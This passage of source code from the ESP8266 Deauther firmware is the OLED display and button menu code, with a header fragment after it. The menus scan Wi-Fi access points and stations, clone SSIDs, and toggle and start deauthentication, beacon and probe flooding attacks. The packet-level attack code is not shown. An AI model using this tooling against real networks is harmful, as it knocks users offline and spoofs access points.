addMenuNode(&scanMenu, D_SCAN_APST, [this]() { // SCAN AP + ST\n            scan.start(SCAN_MODE_ALL, 15000, SCAN_MODE_OFF, 0, true, wifi_channel);\n            mode = DISPLAY_MODE::LOADSCAN;\n        });\n        addMenuNode(&scanMenu, D_SCAN_AP, [this]() { // SCAN AP\n            scan.start(SCAN_MODE_APS, 0, SCAN_MODE_OFF, 0, true, wifi_channel);\n            mode = DISPLAY_MODE::LOADSCAN;\n        });\n        addMenuNode(&scanMenu, D_SCAN_ST, [this]() { // SCAN ST\n            scan.start(SCAN_MODE_STATIONS, 30000, SCAN_MODE_OFF, 0, true, wifi_channel);\n            mode = DISPLAY_MODE::LOADSCAN;\n        });\n    });\n\n    // SHOW MENU\n    createMenu(&showMenu, &mainMenu, [this]() {\n        addMenuNode(&showMenu, [this]() { // Accesspoints 0 [0]\n            return leftRight(str(D_ACCESSPOINTS), (String)accesspoints.count(), maxLen - 1);\n        }, &apListMenu);\n        addMenuNode(&showMenu, [this]() { // Stations 0 [0]\n            return leftRight(str(D_STATIONS), (String)stations.count(), maxLen - 1);\n        }, &stationListMenu);\n        addMenuNode(&showMenu, [this]() { // Names 0 [0]\n            return leftRight(str(D_NAMES), (String)names.count(), maxLen - 1);\n        }, &nameListMenu);\n        addMenuNode(&showMenu, [this]() { // SSIDs 0\n            return leftRight(str(D_SSIDS), (String)ssids.count(), maxLen - 1);\n        }, &ssidListMenu);\n    });\n\n    // AP LIST MENU\n    createMenu(&apListMenu, &showMenu, [this]() {\n        // add APs to list\n        int c = accesspoints.count();\n\n        for (int i = 0; i < c; i++) {\n            addMenuNode(&apListMenu, [i]() {\n                return b2a(accesspoints.getSelected(i)) + accesspoints.getSSID(i);\n            }, [this, i]() {\n                accesspoints.getSelected(i) ? accesspoints.deselect(i) : accesspoints.select(i);\n            }, [this, i]() {\n                selectedID = i;\n                changeMenu(&apMenu);\n            });\n        }\n        addMenuNode(&apListMenu, D_SELECT_ALL, [this]() { // SELECT ALL\n            accesspoints.selectAll();\n            changeMenu(&apListMenu);\n        });\n        addMenuNode(&apListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL\n            accesspoints.deselectAll();\n            changeMenu(&apListMenu);\n        });\n        addMenuNode(&apListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL\n            accesspoints.removeAll();\n            goBack();\n        });\n    });\n\n    // STATION LIST MENU\n    createMenu(&stationListMenu, &showMenu, [this]() {\n        // add stations to list\n        int c = stations.count();\n\n        for (int i = 0; i < c; i++) {\n            addMenuNode(&stationListMenu, [i]() {\n                return b2a(stations.getSelected(i)) +\n                (stations.hasName(i) ? stations.getNameStr(i) : stations.getMacVendorStr(i));\n            }, [this, i]() {\n                stations.getSelected(i) ? stations.deselect(i) : stations.select(i);\n            }, [this, i]() {\n                selectedID = i;\n                changeMenu(&stationMenu);\n            });\n        }\n\n        addMenuNode(&stationListMenu, D_SELECT_ALL, [this]() { // SELECT ALL\n            stations.selectAll();\n            changeMenu(&stationListMenu);\n        });\n        addMenuNode(&stationListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL\n            stations.deselectAll();\n            changeMenu(&stationListMenu);\n        });\n        addMenuNode(&stationListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL\n            stations.removeAll();\n            goBack();\n        });\n    });\n\n    // NAME LIST MENU\n    createMenu(&nameListMenu, &showMenu, [this]() {\n        // add device names to list\n        int c = names.count();\n\n        for (int i = 0; i < c; i++) {\n            addMenuNode(&nameListMenu, [i]() {\n                return names.getSelectedStr(i) + names.getName(i);\n            }, [this, i]() {\n                names.getSelected(i) ? names.deselect(i) : names.select(i);\n            }, [this, i]() {\n                selectedID = i;\n                changeMenu(&nameMenu);\n            });\n        }\n        addMenuNode(&nameListMenu, D_SELECT_ALL, [this]() { // SELECT ALL\n            names.selectAll();\n            changeMenu(&nameListMenu);\n        });\n        addMenuNode(&nameListMenu, D_DESELECT_ALL, [this]() { // DESELECT ALL\n            names.deselectAll();\n            changeMenu(&nameListMenu);\n        });\n        addMenuNode(&nameListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL\n            names.removeAll();\n            goBack();\n        });\n    });\n\n    // SSID LIST MENU\n    createMenu(&ssidListMenu, &showMenu, [this]() {\n        addMenuNode(&ssidListMenu, D_CLONE_APS, [this]() { // CLONE APs\n            ssids.cloneSelected(true);\n            changeMenu(&ssidListMenu);\n            ssids.save(false);\n        });\n        addMenuNode(&ssidListMenu, [this]() {\n            return b2a(ssids.getRandom()) + str(D_RANDOM_MODE); // *RANDOM MODE\n        }, [this]() {\n            if (ssids.getRandom()) ssids.disableRandom();\n            else ssids.enableRandom(10);\n            changeMenu(&ssidListMenu);\n        });\n\n        // add ssids to list\n        int c = ssids.count();\n\n        for (int i = 0; i < c; i++) {\n            addMenuNode(&ssidListMenu, [i]() {\n                return ssids.getName(i).substring(0, ssids.getLen(i));\n            }, [this, i]() {\n                selectedID = i;\n                changeMenu(&ssidMenu);\n            }, [this, i]() {\n                ssids.remove(i);\n                changeMenu(&ssidListMenu);\n                ssidListMenu.selected = i;\n            });\n        }\n\n        addMenuNode(&ssidListMenu, D_REMOVE_ALL, [this]() { // REMOVE ALL\n            ssids.removeAll();\n            goBack();\n        });\n    });\n\n    // AP MENU\n    createMenu(&apMenu, &apListMenu, [this]() {\n        addMenuNode(&apMenu, [this]() {\n            return accesspoints.getSelectedStr(selectedID)  + accesspoints.getSSID(selectedID); // *<ssid>\n        }, [this]() {\n            accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);\n        });\n        addMenuNode(&apMenu, [this]() {\n            return str(D_ENCRYPTION) + accesspoints.getEncStr(selectedID);\n        }, NULL);                                                                          // Encryption: -/WPA2\n        addMenuNode(&apMenu, [this]() {\n            return str(D_RSSI) + (String)accesspoints.getRSSI(selectedID);\n        }, NULL);                                                                          // RSSI: -90\n        addMenuNode(&apMenu, [this]() {\n            return str(D_CHANNEL) + (String)accesspoints.getCh(selectedID);\n        }, NULL);                                                                          // Channel: 11\n        addMenuNode(&apMenu, [this]() {\n            return accesspoints.getMacStr(selectedID);\n        }, NULL);                                                                          // 00:11:22:00:11:22\n        addMenuNode(&apMenu, [this]() {\n            return str(D_VENDOR) + accesspoints.getVendorStr(selectedID);\n        }, NULL);                                                                          // Vendor: INTEL\n        addMenuNode(&apMenu, [this]() {\n            return accesspoints.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT\n        }, [this]() {\n            accesspoints.getSelected(selectedID) ? accesspoints.deselect(selectedID) : accesspoints.select(selectedID);\n        });\n        addMenuNode(&apMenu, D_CLONE, [this]() { // CLONE\n            ssids.add(accesspoints.getSSID(selectedID), accesspoints.getEnc(selectedID) != ENC_TYPE_NONE, 60, true);\n            changeMenu(&showMenu);\n            ssids.save(false);\n        });\n        addMenuNode(&apMenu, D_REMOVE, [this]() { // REMOVE\n            accesspoints.remove(selectedID);\n            apListMenu.list->remove(apListMenu.selected);\n            goBack();\n        });\n    });\n\n    // STATION MENU\n    createMenu(&stationMenu, &stationListMenu, [this]() {\n        addMenuNode(&stationMenu, [this]() {\n            return stations.getSelectedStr(selectedID) +\n            (stations.hasName(selectedID) ? stations.getNameStr(selectedID) : stations.getMacVendorStr(selectedID)); // <station\n            // name>\n        }, [this]() {\n            stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);\n        });\n        addMenuNode(&stationMenu, [this]() {\n            return stations.getMacStr(selectedID);\n        }, NULL);                                             // 00:11:22:00:11:22\n        addMenuNode(&stationMenu, [this]() {\n            return str(D_VENDOR) + stations.getVendorStr(selectedID);\n        }, NULL);                                             // Vendor: INTEL\n        addMenuNode(&stationMenu, [this]() {\n            return str(D_AP) + stations.getAPStr(selectedID); // AP: someAP\n        }, [this]() {\n            int apID = accesspoints.find(stations.getAP(selectedID));\n\n            if (apID >= 0) {\n                selectedID = apID;\n                changeMenu(&apMenu);\n            }\n        });\n        addMenuNode(&stationMenu, [this]() {\n            return str(D_PKTS) + String(*stations.getPkts(selectedID));\n        }, NULL);                                                                      // Pkts: 12\n        addMenuNode(&stationMenu, [this]() {\n            return str(D_CHANNEL) + String(stations.getCh(selectedID));\n        }, NULL);                                                                      // Channel: 11\n        addMenuNode(&stationMenu, [this]() {\n            return str(D_SEEN) + stations.getTimeStr(selectedID);\n        }, NULL);                                                                      // Seen: <1min\n\n        addMenuNode(&stationMenu, [this]() {\n            return stations.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT\n        }, [this]() {\n            stations.getSelected(selectedID) ? stations.deselect(selectedID) : stations.select(selectedID);\n        });\n        addMenuNode(&stationMenu, D_REMOVE, [this]() { // REMOVE\n            stations.remove(selectedID);\n            stationListMenu.list->remove(stationListMenu.selected);\n            goBack();\n        });\n    });\n\n    // NAME MENU\n    createMenu(&nameMenu, &nameListMenu, [this]() {\n        addMenuNode(&nameMenu, [this]() {\n            return names.getSelectedStr(selectedID) + names.getName(selectedID); // <station name>\n        }, [this]() {\n            names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);\n        });\n        addMenuNode(&nameMenu, [this]() {\n            return names.getMacStr(selectedID);\n        }, NULL);                                                                   // 00:11:22:00:11:22\n        addMenuNode(&nameMenu, [this]() {\n            return str(D_VENDOR) + names.getVendorStr(selectedID);\n        }, NULL);                                                                   // Vendor: INTEL\n        addMenuNode(&nameMenu, [this]() {\n            return str(D_AP) + names.getBssidStr(selectedID);\n        }, NULL);                                                                   // AP: 00:11:22:00:11:22\n        addMenuNode(&nameMenu, [this]() {\n            return str(D_CHANNEL) + (String)names.getCh(selectedID);\n        }, NULL);                                                                   // Channel: 11\n\n        addMenuNode(&nameMenu, [this]() {\n            return names.getSelected(selectedID) ? str(D_DESELECT) : str(D_SELECT); // SELECT/DESELECT\n        }, [this]() {\n            names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);\n        });\n        addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE\n            names.remove(selectedID);\n            nameListMenu.list->remove(nameListMenu.selected);\n            goBack();\n        });\n    });\n\n    // SSID MENU\n    createMenu(&ssidMenu, &ssidListMenu, [this]() {\n        addMenuNode(&ssidMenu, [this]() {\n            return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID));\n        }, NULL);                                                   // SSID\n        addMenuNode(&ssidMenu, [this]() {\n            return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2\n        }, [this]() {\n            ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID));\n        });\n        addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE\n            ssids.remove(selectedID);\n            ssidListMenu.list->remove(ssidListMenu.selected);\n            goBack();\n        });\n    });\n\n    // ATTACK MENU\n    createMenu(&attackMenu, &mainMenu, [this]() {\n        addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0\n            if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH),\n                                                     (String)attack.getDeauthPkts() + SLASH +\n                                                     (String)attack.getDeauthMaxPkts(), maxLen - 1);\n            else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1);\n        }, [this]() { // deauth\n            deauthSelected = !deauthSelected;\n\n            if (attack.isRunning()) {\n                attack.start(beaconSelected, deauthSelected, false, probeSelected, true,\n                             settings::getAttackSettings().timeout * 1000);\n            }\n        });\n        addMenuNode(&attackMenu, [this]() { // *BEACON 0/0\n            if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON),\n                                                     (String)attack.getBeaconPkts() + SLASH +\n                                                     (String)attack.getBeaconMaxPkts(), maxLen - 1);\n            else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1);\n        }, [this]() { // beacon\n            beaconSelected = !beaconSelected;\n\n            if (attack.isRunning()) {\n                attack.start(beaconSelected, deauthSelected, false, probeSelected, true,\n                             settings::getAttackSettings().timeout * 1000);\n            }\n        });\n        addMenuNode(&attackMenu, [this]() { // *PROBE 0/0\n            if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE),\n                                                     (String)attack.getProbePkts() + SLASH +\n                                                     (String)attack.getProbeMaxPkts(), maxLen - 1);\n            else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1);\n        }, [this]() { // probe\n            probeSelected = !probeSelected;\n\n            if (attack.isRunning()) {\n                attack.start(beaconSelected, deauthSelected, false, probeSelected, true,\n                             settings::getAttackSettings().timeout * 1000);\n            }\n        });\n        addMenuNode(&attackMenu, [this]() { // START\n            return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK),\n                             attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1);\n        }, [this]() {\n            if (attack.isRunning()) attack.stop();\n            else attack.start(beaconSelected, deauthSelected, false, probeSelected, true,\n                              settings::getAttackSettings().timeout * 1000);\n        });\n    });\n\n    // CLOCK MENU\n    createMenu(&clockMenu, &mainMenu, [this]() {\n        addMenuNode(&clockMenu, D_CLOCK_DISPLAY, [this]() { // CLOCK\n            mode = DISPLAY_MODE::CLOCK_DISPLAY;\n            display.setFont(ArialMT_Plain_24);\n            display.setTextAlignment(TEXT_ALIGN_CENTER);\n        });\n        addMenuNode(&clockMenu, D_CLOCK_SET, [this]() { // CLOCK SET TIME\n            mode = DISPLAY_MODE::CLOCK;\n            display.setFont(ArialMT_Plain_24);\n            display.setTextAlignment(TEXT_ALIGN_CENTER);\n        });\n    });\n\n    // ===================== //\n\n    // set current menu to main menu\n    changeMenu(&mainMenu);\n    enabled   = true;\n    startTime = currentTime;\n}\n\n#ifdef HIGHLIGHT_LED\nvoid DisplayUI::setupLED() {\n    pinMode(HIGHLIGHT_LED, OUTPUT);\n    digitalWrite(HIGHLIGHT_LED, HIGH);\n    highlightLED = true;\n}\n\n#endif // ifdef HIGHLIGHT_LED\n\nvoid DisplayUI::update(bool force) {\n    if (!enabled) return;\n\n    up->update();\n    down->update();\n    a->update();\n    b->update();\n\n    draw(force);\n\n    uint32_t timeout = settings::getDisplaySettings().timeout * 1000;\n\n    if (currentTime > timeout) {\n        if (!tempOff) {\n            if (buttonTime < currentTime - timeout) off();\n        } else {\n            if (buttonTime > currentTime - timeout) on();\n        }\n    }\n}\n\nvoid DisplayUI::on() {\n    if (enabled) {\n        configOn();\n        tempOff    = false;\n        buttonTime = currentTime; // update a button time to keep display on\n        prntln(D_MSG_DISPLAY_ON);\n    } else {\n        prntln(D_ERROR_NOT_ENABLED);\n    }\n}\n\nvoid DisplayUI::off() {\n    if (enabled) {\n        configOff();\n        tempOff = true;\n        prntln(D_MSG_DISPLAY_OFF);\n    } else {\n        prntln(D_ERROR_NOT_ENABLED);\n    }\n}\n\nvoid DisplayUI::setupButtons() {\n    up   = new ButtonPullup(BUTTON_UP);\n    down = new ButtonPullup(BUTTON_DOWN);\n    a    = new ButtonPullup(BUTTON_A);\n    b    = new ButtonPullup(BUTTON_B);\n\n    // === BUTTON UP === //\n    up->setOnClicked([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n\n        if (!tempOff) {\n            if (mode == DISPLAY_MODE::MENU) {                 // when in menu, go up or down with cursor\n                if (currentMenu->selected > 0) currentMenu->selected--;\n                else currentMenu->selected = currentMenu->list->size() - 1;\n            } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel\n                scan.setChannel(wifi_channel + 1);\n            } else if (mode == DISPLAY_MODE::CLOCK) {         // when in clock, change time\n                setTime(clockHour, clockMinute + 1, clockSecond);\n            }\n        }\n    });\n\n    up->setOnHolding([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n        if (!tempOff) {\n            if (mode == DISPLAY_MODE::MENU) {                 // when in menu, go up or down with cursor\n                if (currentMenu->selected > 0) currentMenu->selected--;\n                else currentMenu->selected = currentMenu->list->size() - 1;\n            } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel\n                scan.setChannel(wifi_channel + 1);\n            } else if (mode == DISPLAY_MODE::CLOCK) {         // when in clock, change time\n                setTime(clockHour, clockMinute + 10, clockSecond);\n            }\n        }\n    }, buttonDelay);\n\n    // === BUTTON DOWN === //\n    down->setOnClicked([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n        if (!tempOff) {\n            if (mode == DISPLAY_MODE::MENU) {                 // when in menu, go up or down with cursor\n                if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;\n                else currentMenu->selected = 0;\n            } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel\n                scan.setChannel(wifi_channel - 1);\n            } else if (mode == DISPLAY_MODE::CLOCK) {         // when in clock, change time\n                setTime(clockHour, clockMinute - 1, clockSecond);\n            }\n        }\n    });\n\n    down->setOnHolding([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n        if (!tempOff) {\n            if (mode == DISPLAY_MODE::MENU) {                 // when in menu, go up or down with cursor\n                if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;\n                else currentMenu->selected = 0;\n            } else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel\n                scan.setChannel(wifi_channel - 1);\n            }\n\n            else if (mode == DISPLAY_MODE::CLOCK) {           // when in clock, change time\n                setTime(clockHour, clockMinute - 10, clockSecond);\n            }\n        }\n    }, buttonDelay);\n\n    // === BUTTON A === //\n    a->setOnClicked([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n        if (!tempOff) {\n            switch (mode) {\n                case DISPLAY_MODE::MENU:\n\n                    if (currentMenu->list->get(currentMenu->selected).click) {\n                        currentMenu->list->get(currentMenu->selected).click();\n                    }\n                    break;\n\n                case DISPLAY_MODE::PACKETMONITOR:\n                case DISPLAY_MODE::LOADSCAN:\n                    scan.stop();\n                    mode = DISPLAY_MODE::MENU;\n                    break;\n\n                case DISPLAY_MODE::CLOCK:\n                case DISPLAY_MODE::CLOCK_DISPLAY:\n                    mode = DISPLAY_MODE::MENU;\n                    display.setFont(DejaVu_Sans_Mono_12);\n                    display.setTextAlignment(TEXT_ALIGN_LEFT);\n                    break;\n            }\n        }\n    });\n\n    a->setOnHolding([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n        if (!tempOff) {\n            if (mode == DISPLAY_MODE::MENU) {\n                if (currentMenu->list->get(currentMenu->selected).hold) {\n                    currentMenu->list->get(currentMenu->selected).hold();\n                }\n            }\n        }\n    }, 800);\n\n    // === BUTTON B === //\n    b->setOnClicked([this]() {\n        scrollCounter = 0;\n        scrollTime    = currentTime;\n        buttonTime    = currentTime;\n        if (!tempOff) {\n            switch (mode) {\n                case DISPLAY_MODE::MENU:\n                    goBack();\n                    break;\n\n                case DISPLAY_MODE::PACKETMONITOR:\n                case DISPLAY_MODE::LOADSCAN:\n                    scan.stop();\n                    mode = DISPLAY_MODE::MENU;\n                    break;\n\n                case DISPLAY_MODE::CLOCK:\n                    mode = DISPLAY_MODE::MENU;\n                    display.setFont(DejaVu_Sans_Mono_12);\n                    display.setTextAlignment(TEXT_ALIGN_LEFT);\n                    break;\n            }\n        }\n    });\n}\n\nString DisplayUI::getChannel() {\n    String ch = String(wifi_channel);\n\n    if (ch.length() < 2) ch = ' ' + ch;\n    return ch;\n}\n\nvoid DisplayUI::draw(bool force) {\n    if (force || ((currentTime - drawTime > drawInterval) && currentMenu)) {\n        drawTime = currentTime;\n\n        updatePrefix();\n\n#ifdef RTC_DS3231\n        bool h12;\n        bool PM_time;\n        clockHour   = clock.getHour(h12, PM_time);\n        clockMinute = clock.getMinute();\n        clockSecond = clock.getSecond();\n#else // ifdef RTC_DS3231\n        if (currentTime - clockTime >= 1000) {\n            setTime(clockHour, clockMinute, ++clockSecond);\n            clockTime += 1000;\n        }\n#endif // ifdef RTC_DS3231\n\n        switch (mode) {\n            case DISPLAY_MODE::BUTTON_TEST:\n                drawButtonTest();\n                break;\n\n            case DISPLAY_MODE::MENU:\n                drawMenu();\n                break;\n\n            case DISPLAY_MODE::LOADSCAN:\n                drawLoadingScan();\n                break;\n\n            case DISPLAY_MODE::PACKETMONITOR:\n                drawPacketMonitor();\n                break;\n\n            case DISPLAY_MODE::INTRO:\n                if (!scan.isScanning() && (currentTime - startTime >= screenIntroTime)) {\n                    mode = DISPLAY_MODE::MENU;\n                }\n                drawIntro();\n                break;\n            case DISPLAY_MODE::CLOCK:\n            case DISPLAY_MODE::CLOCK_DISPLAY:\n                drawClock();\n                break;\n            case DISPLAY_MODE::RESETTING:\n                drawResetting();\n                break;\n        }\n\n        updateSuffix();\n    }\n}\n\nvoid DisplayUI::drawButtonTest() {\n    drawString(0, str(D_UP) + b2s(up->read()));\n    drawString(1, str(D_DOWN) + b2s(down->read()));\n    drawString(2, str(D_A) + b2s(a->read()));\n    drawString(3, str(D_B) + b2s(b->read()));\n}\n\nvoid DisplayUI::drawMenu() {\n    String tmp;\n    int    tmpLen;\n    int    row = (currentMenu->selected / 5) * 5;\n\n    // correct selected if it's off\n    if (currentMenu->selected < 0) currentMenu->selected = 0;\n    else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1;\n\n    // draw menu entries\n    for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) {\n        tmp    = currentMenu->list->get(i).getStr();\n        tmpLen = tmp.length();\n\n        // horizontal scrolling\n        if ((currentMenu->selected == i) && (tmpLen >= maxLen)) {\n            tmp = tmp + tmp;\n            tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1);\n\n            if (((scrollCounter > 0) && (scrollTime < currentTime - scrollSpeed)) || ((scrollCounter == 0) && (scrollTime < currentTime - scrollSpeed * 4))) {\n                scrollTime = currentTime;\n                scrollCounter++;\n            }\n\n            if (scrollCounter > tmpLen) scrollCounter = 0;\n        }\n\n        tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp;\n        drawString(0, (i - row) * 12, tmp);\n    }\n}\n\nvoid DisplayUI::drawLoadingScan() {\n    String percentage;\n\n    if (scan.isScanning()) {\n        percentage = String(scan.getPercentage()) + '%';\n    } else {\n        percentage = str(DSP_SCAN_DONE);\n    }\n\n    drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen));\n    drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen));\n    drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen));\n    drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen));\n    drawString(4, center(percentage, maxLen));\n}\n\nvoid DisplayUI::drawPacketMonitor() {\n    double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2);\n\n    String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen);\n\n    drawString(0, 0, headline);\n\n    if (scan.getMaxPacket() > 0) {\n        int i = 0;\n        int x = 0;\n        int y = 0;\n\n        while (i < SCAN_PACKET_LIST_SIZE && x < screenWidth) {\n            y = (sreenHeight-1) - (scan.getPackets(i) * scale);\n            i++;\n\n            // Serial.printf(\"%d,%d -> %d,%d\\n\", x, (sreenHeight-1), x, y);\n            drawLine(x, (sreenHeight-1), x, y);\n            x++;\n\n            // Serial.printf(\"%d,%d -> %d,%d\\n\", x, (sreenHeight-1), x, y);\n            drawLine(x, (sreenHeight-1), x, y);\n            x++;\n        }\n        // Serial.println(\"---------\");\n    }\n}\n\nvoid DisplayUI::drawIntro() {\n    drawString(0, center(str(D_INTRO_0), maxLen));\n    drawString(1, center(str(D_INTRO_1), maxLen));\n    drawString(2, center(str(D_INTRO_2), maxLen));\n    drawString(3, center(DEAUTHER_VERSION, maxLen));\n    if (scan.isScanning()) {\n        if (currentTime - startTime >= screenIntroTime+4500) drawString(4, left(str(D_SCANNING_3), maxLen));\n        else if (currentTime - startTime >= screenIntroTime+3000) drawString(4, left(str(D_SCANNING_2), maxLen));\n        else if (currentTime - startTime >= screenIntroTime+1500) drawString(4, left(str(D_SCANNING_1), maxLen));\n        else if (currentTime - startTime >= screenIntroTime) drawString(4, left(str(D_SCANNING_0), maxLen));\n    }\n}\n\nvoid DisplayUI::drawClock() {\n    String clockTime = String(clockHour);\n\n    clockTime += ':';\n    if (clockMinute < 10) clockTime += '0';\n    clockTime += String(clockMinute);\n\n    display.drawString(64, 20, clockTime);\n}\n\nvoid DisplayUI::drawResetting() {\n    drawString(2, center(str(D_RESETTING), maxLen));\n}\n\nvoid DisplayUI::clearMenu(Menu* menu) {\n    while (menu->list->size() > 0) {\n        menu->list->remove(0);\n    }\n}\n\nvoid DisplayUI::changeMenu(Menu* menu) {\n    if (menu) {\n        // only open list menu if it has nodes\n        if (((menu == &apListMenu) && (accesspoints.count() == 0)) ||\n            ((menu == &stationListMenu) && (stations.count() == 0)) ||\n            ((menu == &nameListMenu) && (names.count() == 0))) {\n            return;\n        }\n\n        if (currentMenu) clearMenu(currentMenu);\n        currentMenu           = menu;\n        currentMenu->selected = 0;\n        buttonTime            = currentTime;\n\n        if (selectedID < 0) selectedID = 0;\n\n        if (currentMenu->parentMenu) {\n            addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]\n            currentMenu->selected = 1;\n        }\n\n        if (currentMenu->build) currentMenu->build();\n    }\n}\n\nvoid DisplayUI::goBack() {\n    if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu);\n}\n\nvoid DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()>build) {\n    menu->list       = new SimpleList<MenuNode>;\n    menu->parentMenu = parent;\n    menu->selected   = 0;\n    menu->build      = build;\n}\n\nvoid DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,\n                            std::function<void()>hold) {\n    menu->list->add(MenuNode{ getStr, click, hold });\n}\n\nvoid DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click) {\n    addMenuNode(menu, getStr, click, NULL);\n}\n\nvoid DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next) {\n    addMenuNode(menu, getStr, [this, next]() {\n        changeMenu(next);\n    });\n}\n\nvoid DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function<void()>click) {\n    addMenuNode(menu, [ptr]() {\n        return str(ptr);\n    }, click);\n}\n\nvoid DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {\n    addMenuNode(menu, [ptr]() {\n        return str(ptr);\n    }, next);\n}\n\nvoid DisplayUI::setTime(int h, int m, int s) {\n    if (s >= 60) {\n        s = 0;\n        m++;\n    }\n\n    if (m >= 60) {\n        m = 0;\n        h++;\n    }\n\n    if (h >= 24) {\n        h = 0;\n    }\n\n    if (s < 0) {\n        s = 59;\n        m--;\n    }\n\n    if (m < 0) {\n        m = 59;\n        h--;\n    }\n\n    if (h < 0) {\n        h = 23;\n    }\n\n    clockHour   = h;\n    clockMinute = m;\n    clockSecond = s;\n\n#ifdef RTC_DS3231\n    clock.setHour(clockHour);\n    clock.setMinute(clockMinute);\n    clock.setSecond(clockSecond);\n#endif // ifdef RTC_DS3231\n}\n"
  },
  {
    "path": "esp8266_deauther/DisplayUI.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"language.h\"\n#include \"A_config.h\"\n#include \"Names.h\"\n#include \"SSIDs.h\"\n#include \"Scan.h\"\n#include \"Attack.h\"\n\n// ===== adjustable ===== //\n#if defined(SSD1306_I2C)\n  #include <Wire.h>\n  #include \"src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h\"\n#elif defined(SSD1306_SPI)\n  #include <SPI.h>\n  #include \"src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h\"\n#elif defined(SH1106_I2C)\n  #include <Wire.h>\n  #include \"src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h\"\n#elif defined(SH1106_SPI)\n  #include <SPI.h>\n  #include \"src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h\"\n#endif /* if defined(SSD1306_I2C) */\n\n#ifdef RTC_DS3231\n#include \"src/DS3231-1.0.3/DS3231.h\"\n#endif // ifdef RTC_DS3231\n\n#include \"src/SimpleButton/SimpleButton.h\"\n\nusing namespace simplebutton;\n\n\nextern Names names;\nextern SSIDs ssids;\nextern Accesspoints accesspoints;\nextern Stations     stations;\nextern Scan     scan;\nextern Attack   attack;\nextern uint32_t currentTime;\n\nextern String leftRight(String a, String b, int len);\nextern String center(String a, int len);\nextern String left(String a, int len);\nextern String right(String a, int len);\nextern String leftRight(String a, String b, int len);\nextern String replaceUtf8(String str, String r);\n\nconst char D_INTRO_0[] PROGMEM = \"ESP8266 Deauther\";\nconst char D_INTRO_1[] PROGMEM = \"by @Spacehuhn\";\nconst char D_INTRO_2[] PROGMEM = DISPLAY_TEXT;\nconst char D_RESETTING[] PROGMEM = \"Resetting...\";\nconst char D_SCANNING_0[] PROGMEM = \"> Scanning\";\nconst char D_SCANNING_1[] PROGMEM = \"> Scanning.\";\nconst char D_SCANNING_2[] PROGMEM = \"> Scanning..\";\nconst char D_SCANNING_3[] PROGMEM = \"> Scanning...\";\n\nstruct MenuNode {\n    std::function<String()>getStr; // function used to create the displayed string\n    std::function<void()>  click;  // function that is executed when node is clicked\n    std::function<void()>  hold;   // function that is executed when node is pressed for > 